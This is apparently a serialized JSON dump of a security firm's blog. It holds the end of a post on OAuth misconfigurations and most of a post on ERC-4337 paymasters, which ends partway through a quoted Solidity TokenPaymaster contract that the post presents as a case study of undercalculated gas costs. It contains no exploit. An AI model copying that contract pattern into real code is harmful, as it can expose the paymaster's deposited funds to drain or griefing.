from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":24,"tag":25,"props":101555,"children":101556},{},[101557],{"type":29,"value":101558},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":24,"tag":2584,"props":101560,"children":101561},{},[101562],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":101564},[101565,101570,101575],{"id":99249,"depth":113,"text":99252,"children":101566},[101567,101568,101569],{"id":99260,"depth":128,"text":99263},{"id":99617,"depth":128,"text":99620},{"id":101180,"depth":128,"text":101183},{"id":101191,"depth":113,"text":101194,"children":101571},[101572,101573,101574],{"id":101255,"depth":128,"text":101258},{"id":101312,"depth":128,"text":99644},{"id":40049,"depth":128,"text":40052},{"id":28683,"depth":113,"text":18686},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":101580,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":101581,"description":101582,"date":101583,"author":101584,"image":101585,"isFeatured":16,"onBlogPage":16,"tags":101587,"body":101590,"_type":2606,"_id":107362,"_source":2608,"_file":107363,"_stem":107364,"_extension":2611},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":101586,"width":14,"height":15},"/posts/paymasters-evm/title.png",[101588,101589],"evm","ERC-4337",{"type":21,"children":101591,"toc":107341},[101592,101596,101607,101612,101617,101622,101628,101634,101639,101644,101650,101655,101683,101689,101694,101701,101706,101716,101721,101747,101753,101773,101779,101799,101807,101838,101871,101880,101892,101917,101929,101942,101985,101991,102024,102123,102142,102165,102170,102176,102204,102351,102356,102383,102389,102401,102413,102422,102457,102462,103947,103975,103996,104001,104013,104022,104027,104045,104068,104073,104079,104133,104139,104172,104207,105031,105067,105103,105169,105202,105700,105753,105765,106329,106398,106425,107047,107089,107116,107128,107189,107208,107242,107247,107252,107257,107261,107266,107301,107327,107332,107337],{"type":24,"tag":35107,"props":101593,"children":101594},{"id":28766},[101595],{"type":29,"value":28769},{"type":24,"tag":25,"props":101597,"children":101598},{},[101599,101605],{"type":24,"tag":2033,"props":101600,"children":101603},{"href":101601,"rel":101602},"https://docs.erc4337.io/",[2037],[101604],{"type":29,"value":101589},{"type":29,"value":101606}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":24,"tag":25,"props":101608,"children":101609},{},[101610],{"type":29,"value":101611},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":24,"tag":25,"props":101613,"children":101614},{},[101615],{"type":29,"value":101616},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":24,"tag":25,"props":101618,"children":101619},{},[101620],{"type":29,"value":101621},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":24,"tag":35107,"props":101623,"children":101625},{"id":101624},"erc4337-overview",[101626],{"type":29,"value":101627},"ERC4337 Overview",{"type":24,"tag":51,"props":101629,"children":101631},{"id":101630},"traditional-eoas-vs-smart-contract-wallets",[101632],{"type":29,"value":101633},"Traditional EOAs vs Smart Contract Wallets",{"type":24,"tag":25,"props":101635,"children":101636},{},[101637],{"type":29,"value":101638},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":24,"tag":25,"props":101640,"children":101641},{},[101642],{"type":29,"value":101643},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":24,"tag":51,"props":101645,"children":101647},{"id":101646},"why-erc4337-was-introduced",[101648],{"type":29,"value":101649},"Why ERC‑4337 Was Introduced",{"type":24,"tag":25,"props":101651,"children":101652},{},[101653],{"type":29,"value":101654},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":24,"tag":16422,"props":101656,"children":101657},{},[101658,101663,101668,101673,101678],{"type":24,"tag":67,"props":101659,"children":101660},{},[101661],{"type":29,"value":101662},"User recovery for lost keys (e.g. social recovery)",{"type":24,"tag":67,"props":101664,"children":101665},{},[101666],{"type":29,"value":101667},"Batched or atomic multi-step operations in one flow",{"type":24,"tag":67,"props":101669,"children":101670},{},[101671],{"type":29,"value":101672},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":24,"tag":67,"props":101674,"children":101675},{},[101676],{"type":29,"value":101677},"Using custom signature schemes or multisig logic",{"type":24,"tag":67,"props":101679,"children":101680},{},[101681],{"type":29,"value":101682},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":24,"tag":51,"props":101684,"children":101686},{"id":101685},"how-erc-4337-works",[101687],{"type":29,"value":101688},"How ERC-4337 Works",{"type":24,"tag":25,"props":101690,"children":101691},{},[101692],{"type":29,"value":101693},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":24,"tag":25,"props":101695,"children":101696},{},[101697],{"type":24,"tag":2510,"props":101698,"children":101700},{"alt":2512,"src":101699},"/posts/paymasters-evm/flowchart.png",[],{"type":24,"tag":25,"props":101702,"children":101703},{},[101704],{"type":29,"value":101705},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":24,"tag":1818,"props":101707,"children":101709},{"id":101708},"useroperation",[101710],{"type":24,"tag":32,"props":101711,"children":101713},{"className":101712},[],[101714],{"type":29,"value":101715},"UserOperation",{"type":24,"tag":25,"props":101717,"children":101718},{},[101719],{"type":29,"value":101720},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":24,"tag":16422,"props":101722,"children":101723},{},[101724,101729,101734],{"type":24,"tag":67,"props":101725,"children":101726},{},[101727],{"type":29,"value":101728},"Target contract call(s)",{"type":24,"tag":67,"props":101730,"children":101731},{},[101732],{"type":29,"value":101733},"Signature or validation metadata",{"type":24,"tag":67,"props":101735,"children":101736},{},[101737,101739,101745],{"type":29,"value":101738},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":24,"tag":32,"props":101740,"children":101742},{"className":101741},[],[101743],{"type":29,"value":101744},"UserOperations",{"type":29,"value":101746}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":24,"tag":1818,"props":101748,"children":101750},{"id":101749},"smart-contract-account",[101751],{"type":29,"value":101752},"Smart Contract Account",{"type":24,"tag":25,"props":101754,"children":101755},{},[101756,101758,101764,101765,101771],{"type":29,"value":101757},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":24,"tag":32,"props":101759,"children":101761},{"className":101760},[],[101762],{"type":29,"value":101763},"validateUserOp()",{"type":29,"value":2287},{"type":24,"tag":32,"props":101766,"children":101768},{"className":101767},[],[101769],{"type":29,"value":101770},"executeUserOp()",{"type":29,"value":101772},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":24,"tag":1818,"props":101774,"children":101776},{"id":101775},"bundler",[101777],{"type":29,"value":101778},"Bundler",{"type":24,"tag":25,"props":101780,"children":101781},{},[101782,101784,101789,101791,101797],{"type":29,"value":101783},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":24,"tag":32,"props":101785,"children":101787},{"className":101786},[],[101788],{"type":29,"value":101744},{"type":29,"value":101790},", packages them, and submits them in a single transaction to the ",{"type":24,"tag":32,"props":101792,"children":101794},{"className":101793},[],[101795],{"type":29,"value":101796},"EntryPoint",{"type":29,"value":101798}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":24,"tag":1818,"props":101800,"children":101801},{"id":14466},[101802],{"type":24,"tag":32,"props":101803,"children":101805},{"className":101804},[],[101806],{"type":29,"value":101796},{"type":24,"tag":25,"props":101808,"children":101809},{},[101810,101811,101816,101818,101823,101825,101829,101831,101836],{"type":29,"value":16348},{"type":24,"tag":32,"props":101812,"children":101814},{"className":101813},[],[101815],{"type":29,"value":101796},{"type":29,"value":101817}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":24,"tag":32,"props":101819,"children":101821},{"className":101820},[],[101822],{"type":29,"value":101744},{"type":29,"value":101824}," submitted by a ",{"type":24,"tag":2040,"props":101826,"children":101827},{},[101828],{"type":29,"value":101778},{"type":29,"value":101830},", the ",{"type":24,"tag":32,"props":101832,"children":101834},{"className":101833},[],[101835],{"type":29,"value":101796},{"type":29,"value":101837}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":24,"tag":25,"props":101839,"children":101840},{},[101841,101843,101848,101850,101854,101856,101861,101863,101869],{"type":29,"value":101842},"Once all operations have been processed, the ",{"type":24,"tag":32,"props":101844,"children":101846},{"className":101845},[],[101847],{"type":29,"value":101796},{"type":29,"value":101849}," calculates the total gas consumed and reimburses the ",{"type":24,"tag":2040,"props":101851,"children":101852},{},[101853],{"type":29,"value":101778},{"type":29,"value":101855},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":24,"tag":32,"props":101857,"children":101859},{"className":101858},[],[101860],{"type":29,"value":101796},{"type":29,"value":101862}," or from a ",{"type":24,"tag":32,"props":101864,"children":101866},{"className":101865},[],[101867],{"type":29,"value":101868},"paymaster",{"type":29,"value":101870}," that has agreed to sponsor the transaction.",{"type":24,"tag":1818,"props":101872,"children":101873},{"id":101868},[101874],{"type":24,"tag":32,"props":101875,"children":101877},{"className":101876},[],[101878],{"type":29,"value":101879},"Paymaster",{"type":24,"tag":25,"props":101881,"children":101882},{},[101883,101885,101890],{"type":29,"value":101884},"A ",{"type":24,"tag":32,"props":101886,"children":101888},{"className":101887},[],[101889],{"type":29,"value":101868},{"type":29,"value":101891}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":24,"tag":16422,"props":101893,"children":101894},{},[101895,101906],{"type":24,"tag":67,"props":101896,"children":101897},{},[101898,101904],{"type":24,"tag":32,"props":101899,"children":101901},{"className":101900},[],[101902],{"type":29,"value":101903},"validatePaymasterUserOp()",{"type":29,"value":101905}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":24,"tag":67,"props":101907,"children":101908},{},[101909,101915],{"type":24,"tag":32,"props":101910,"children":101912},{"className":101911},[],[101913],{"type":29,"value":101914},"postOp()",{"type":29,"value":101916},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":24,"tag":25,"props":101918,"children":101919},{},[101920,101922,101927],{"type":29,"value":101921},"By supporting both sponsorship and token-based gas payments, ",{"type":24,"tag":32,"props":101923,"children":101925},{"className":101924},[],[101926],{"type":29,"value":101868},{"type":29,"value":101928}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":24,"tag":51,"props":101930,"children":101932},{"id":101931},"understanding-the-entrypoints-flow",[101933,101935,101940],{"type":29,"value":101934},"Understanding the ",{"type":24,"tag":32,"props":101936,"children":101938},{"className":101937},[],[101939],{"type":29,"value":101796},{"type":29,"value":101941},"'s Flow",{"type":24,"tag":25,"props":101943,"children":101944},{},[101945,101947,101952,101953,101958,101960,101971,101973,101978,101979,101984],{"type":29,"value":101946},"When a bundler submits ",{"type":24,"tag":32,"props":101948,"children":101950},{"className":101949},[],[101951],{"type":29,"value":101744},{"type":29,"value":16147},{"type":24,"tag":32,"props":101954,"children":101956},{"className":101955},[],[101957],{"type":29,"value":101796},{"type":29,"value":101959}," contract via ",{"type":24,"tag":2033,"props":101961,"children":101964},{"href":101962,"rel":101963},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[2037],[101965],{"type":24,"tag":32,"props":101966,"children":101968},{"className":101967},[],[101969],{"type":29,"value":101970},"handleOps()",{"type":29,"value":101972},", the processing occurs in two main phases: ",{"type":24,"tag":2040,"props":101974,"children":101975},{},[101976],{"type":29,"value":101977},"Validation",{"type":29,"value":2287},{"type":24,"tag":2040,"props":101980,"children":101981},{},[101982],{"type":29,"value":101983},"Execution",{"type":29,"value":161},{"type":24,"tag":1818,"props":101986,"children":101988},{"id":101987},"validation-phase",[101989],{"type":29,"value":101990},"Validation Phase",{"type":24,"tag":25,"props":101992,"children":101993},{},[101994,101996,102001,102003,102009,102011,102017,102018,102023],{"type":29,"value":101995},"In this phase, the ",{"type":24,"tag":32,"props":101997,"children":101999},{"className":101998},[],[102000],{"type":29,"value":101796},{"type":29,"value":102002}," first validates all operations in the submitted ",{"type":24,"tag":32,"props":102004,"children":102006},{"className":102005},[],[102007],{"type":29,"value":102008},"UserOps",{"type":29,"value":102010}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":24,"tag":32,"props":102012,"children":102014},{"className":102013},[],[102015],{"type":29,"value":102016},"UserOp",{"type":29,"value":101830},{"type":24,"tag":32,"props":102019,"children":102021},{"className":102020},[],[102022],{"type":29,"value":101796},{"type":29,"value":195},{"type":24,"tag":63,"props":102025,"children":102026},{},[102027,102045,102063,102084,102096],{"type":24,"tag":67,"props":102028,"children":102029},{},[102030,102037,102039],{"type":24,"tag":2033,"props":102031,"children":102034},{"href":102032,"rel":102033},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[2037],[102035],{"type":29,"value":102036},"Calculates",{"type":29,"value":102038}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":24,"tag":32,"props":102040,"children":102042},{"className":102041},[],[102043],{"type":29,"value":102044},"maxFeePerGas",{"type":24,"tag":67,"props":102046,"children":102047},{},[102048,102055,102056,102061],{"type":24,"tag":2033,"props":102049,"children":102052},{"href":102050,"rel":102051},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[2037],[102053],{"type":29,"value":102054},"Calls",{"type":29,"value":6204},{"type":24,"tag":32,"props":102057,"children":102059},{"className":102058},[],[102060],{"type":29,"value":101763},{"type":29,"value":102062}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":24,"tag":67,"props":102064,"children":102065},{},[102066,102068,102075,102077,102082],{"type":29,"value":102067},"If no paymaster is specified, attempts to ",{"type":24,"tag":2033,"props":102069,"children":102072},{"href":102070,"rel":102071},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[2037],[102073],{"type":29,"value":102074},"deduct",{"type":29,"value":102076}," the prefund amount from the sender's ETH deposit in the ",{"type":24,"tag":32,"props":102078,"children":102080},{"className":102079},[],[102081],{"type":29,"value":101796},{"type":29,"value":102083}," (this can be partially refunded later if actual execution costs less)",{"type":24,"tag":67,"props":102085,"children":102086},{},[102087,102094],{"type":24,"tag":2033,"props":102088,"children":102091},{"href":102089,"rel":102090},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[2037],[102092],{"type":29,"value":102093},"Validates",{"type":29,"value":102095}," the nonce to prevent replay attacks",{"type":24,"tag":67,"props":102097,"children":102098},{},[102099,102101,102107,102109,102115,102116,102121],{"type":29,"value":102100},"If a paymaster is specified, it will ",{"type":24,"tag":2033,"props":102102,"children":102105},{"href":102103,"rel":102104},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[2037],[102106],{"type":29,"value":102074},{"type":29,"value":102108}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":24,"tag":2033,"props":102110,"children":102113},{"href":102111,"rel":102112},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[2037],[102114],{"type":29,"value":553},{"type":29,"value":6204},{"type":24,"tag":32,"props":102117,"children":102119},{"className":102118},[],[102120],{"type":29,"value":101903},{"type":29,"value":102122}," on the paymaster contract to verify it will cover gas costs",{"type":24,"tag":25,"props":102124,"children":102125},{},[102126,102128,102133,102135,102140],{"type":29,"value":102127},"Only after all these validation checks pass will the ",{"type":24,"tag":32,"props":102129,"children":102131},{"className":102130},[],[102132],{"type":29,"value":101796},{"type":29,"value":102134}," move on to actually executing the ",{"type":24,"tag":32,"props":102136,"children":102138},{"className":102137},[],[102139],{"type":29,"value":101715},{"type":29,"value":102141},". This strict validation flow ensures that:",{"type":24,"tag":16422,"props":102143,"children":102144},{},[102145,102150,102155,102160],{"type":24,"tag":67,"props":102146,"children":102147},{},[102148],{"type":29,"value":102149},"The operation is legitimate and authorized by the user",{"type":24,"tag":67,"props":102151,"children":102152},{},[102153],{"type":29,"value":102154},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":24,"tag":67,"props":102156,"children":102157},{},[102158],{"type":29,"value":102159},"The operation cannot be replayed",{"type":24,"tag":67,"props":102161,"children":102162},{},[102163],{"type":29,"value":102164},"All involved contracts (sender and paymaster) have approved the execution",{"type":24,"tag":25,"props":102166,"children":102167},{},[102168],{"type":29,"value":102169},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":24,"tag":1818,"props":102171,"children":102173},{"id":102172},"execution-phase",[102174],{"type":29,"value":102175},"Execution Phase",{"type":24,"tag":25,"props":102177,"children":102178},{},[102179,102181,102186,102188,102195,102197,102202],{"type":29,"value":102180},"After all operations have passed validation, the ",{"type":24,"tag":32,"props":102182,"children":102184},{"className":102183},[],[102185],{"type":29,"value":101796},{"type":29,"value":102187}," begins the ",{"type":24,"tag":2033,"props":102189,"children":102192},{"href":102190,"rel":102191},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[2037],[102193],{"type":29,"value":102194},"execution",{"type":29,"value":102196}," phase, processing each ",{"type":24,"tag":32,"props":102198,"children":102200},{"className":102199},[],[102201],{"type":29,"value":101715},{"type":29,"value":102203}," individually. For each operation, the flow is:",{"type":24,"tag":63,"props":102205,"children":102206},{},[102207,102267,102313],{"type":24,"tag":67,"props":102208,"children":102209},{},[102210,102211,102216,102218,102224,102225,102231,102233],{"type":29,"value":16348},{"type":24,"tag":32,"props":102212,"children":102214},{"className":102213},[],[102215],{"type":29,"value":101796},{"type":29,"value":102217}," makes a ",{"type":24,"tag":2033,"props":102219,"children":102222},{"href":102220,"rel":102221},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[2037],[102223],{"type":29,"value":553},{"type":29,"value":56490},{"type":24,"tag":32,"props":102226,"children":102228},{"className":102227},[],[102229],{"type":29,"value":102230},"innerHandleOp()",{"type":29,"value":102232},", which:\n",{"type":24,"tag":16422,"props":102234,"children":102235},{},[102236,102248,102253],{"type":24,"tag":67,"props":102237,"children":102238},{},[102239,102246],{"type":24,"tag":2033,"props":102240,"children":102243},{"href":102241,"rel":102242},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[2037],[102244],{"type":29,"value":102245},"Forwards",{"type":29,"value":102247}," the operation to the sender's smart account contract",{"type":24,"tag":67,"props":102249,"children":102250},{},[102251],{"type":29,"value":102252},"Executes the intended transaction(s) within the smart account",{"type":24,"tag":67,"props":102254,"children":102255},{},[102256,102258,102265],{"type":29,"value":102257},"Handles ",{"type":24,"tag":2033,"props":102259,"children":102262},{"href":102260,"rel":102261},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[2037],[102263],{"type":29,"value":102264},"post-execution",{"type":29,"value":102266}," tasks and cleanup",{"type":24,"tag":67,"props":102268,"children":102269},{},[102270,102272,102278,102280,102286,102287,102293,102295],{"type":29,"value":102271},"If a paymaster was used, ",{"type":24,"tag":32,"props":102273,"children":102275},{"className":102274},[],[102276],{"type":29,"value":102277},"Entrypoint",{"type":29,"value":102279}," will ",{"type":24,"tag":2033,"props":102281,"children":102284},{"href":102282,"rel":102283},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[2037],[102285],{"type":29,"value":553},{"type":29,"value":6204},{"type":24,"tag":32,"props":102288,"children":102290},{"className":102289},[],[102291],{"type":29,"value":102292},"paymaster.postOp()",{"type":29,"value":102294}," to:\n",{"type":24,"tag":16422,"props":102296,"children":102297},{},[102298,102303,102308],{"type":24,"tag":67,"props":102299,"children":102300},{},[102301],{"type":29,"value":102302},"Allow paymaster to finalize its accounting",{"type":24,"tag":67,"props":102304,"children":102305},{},[102306],{"type":29,"value":102307},"Process any refunds or additional charges",{"type":24,"tag":67,"props":102309,"children":102310},{},[102311],{"type":29,"value":102312},"Complete any paymaster-specific logic",{"type":24,"tag":67,"props":102314,"children":102315},{},[102316,102318,102323,102324,102331,102333],{"type":29,"value":102317},"Finally, after all operations are processed, the ",{"type":24,"tag":32,"props":102319,"children":102321},{"className":102320},[],[102322],{"type":29,"value":101796},{"type":29,"value":6204},{"type":24,"tag":2033,"props":102325,"children":102328},{"href":102326,"rel":102327},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[2037],[102329],{"type":29,"value":102330},"compensates",{"type":29,"value":102332}," the bundler for:\n",{"type":24,"tag":16422,"props":102334,"children":102335},{},[102336,102341,102346],{"type":24,"tag":67,"props":102337,"children":102338},{},[102339],{"type":29,"value":102340},"Gas costs from executing all operations",{"type":24,"tag":67,"props":102342,"children":102343},{},[102344],{"type":29,"value":102345},"Overhead from submitting the batch transaction",{"type":24,"tag":67,"props":102347,"children":102348},{},[102349],{"type":29,"value":102350},"Any unused gas, which is refunded",{"type":24,"tag":25,"props":102352,"children":102353},{},[102354],{"type":29,"value":102355},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":24,"tag":25,"props":102357,"children":102358},{},[102359,102361,102366,102368,102374,102376,102381],{"type":29,"value":102360},"Now that we understand how the ",{"type":24,"tag":32,"props":102362,"children":102364},{"className":102363},[],[102365],{"type":29,"value":101796},{"type":29,"value":102367}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":24,"tag":32,"props":102369,"children":102371},{"className":102370},[],[102372],{"type":29,"value":102373},"paymasters",{"type":29,"value":102375}," that align with the ",{"type":24,"tag":32,"props":102377,"children":102379},{"className":102378},[],[102380],{"type":29,"value":101796},{"type":29,"value":102382},"'s execution model, leading to potential vulnerabilities.",{"type":24,"tag":35107,"props":102384,"children":102386},{"id":102385},"common-pitfalls-in-paymaster-implementation",[102387],{"type":29,"value":102388},"Common Pitfalls in Paymaster Implementation",{"type":24,"tag":25,"props":102390,"children":102391},{},[102392,102394,102399],{"type":29,"value":102393},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":24,"tag":32,"props":102395,"children":102397},{"className":102396},[],[102398],{"type":29,"value":101796},{"type":29,"value":102400}," to exploitation or griefing.",{"type":24,"tag":25,"props":102402,"children":102403},{},[102404,102406,102411],{"type":29,"value":102405},"In this section, we’ll walk through the ",{"type":24,"tag":2040,"props":102407,"children":102408},{},[102409],{"type":29,"value":102410},"two most common pitfalls",{"type":29,"value":102412}," we’ve observed in real-world paymaster implementations:",{"type":24,"tag":51,"props":102414,"children":102416},{"id":102415},"undercalculated-gas-costs",[102417],{"type":24,"tag":2040,"props":102418,"children":102419},{},[102420],{"type":29,"value":102421},"Undercalculated Gas Costs",{"type":24,"tag":25,"props":102423,"children":102424},{},[102425,102427,102432,102434,102439,102441,102446,102448,102455],{"type":29,"value":102426},"To understand this issue, let's first examine how gas penalties work in the ",{"type":24,"tag":32,"props":102428,"children":102430},{"className":102429},[],[102431],{"type":29,"value":101796},{"type":29,"value":102433},". When a ",{"type":24,"tag":32,"props":102435,"children":102437},{"className":102436},[],[102438],{"type":29,"value":101715},{"type":29,"value":102440}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":24,"tag":32,"props":102442,"children":102444},{"className":102443},[],[102445],{"type":29,"value":101796},{"type":29,"value":102447}," charges a ",{"type":24,"tag":2033,"props":102449,"children":102452},{"href":102450,"rel":102451},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[2037],[102453],{"type":29,"value":102454},"penalty of 10%",{"type":29,"value":102456}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":24,"tag":25,"props":102458,"children":102459},{},[102460],{"type":29,"value":102461},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":24,"tag":73,"props":102463,"children":102465},{"className":4220,"code":102464,"language":4219,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    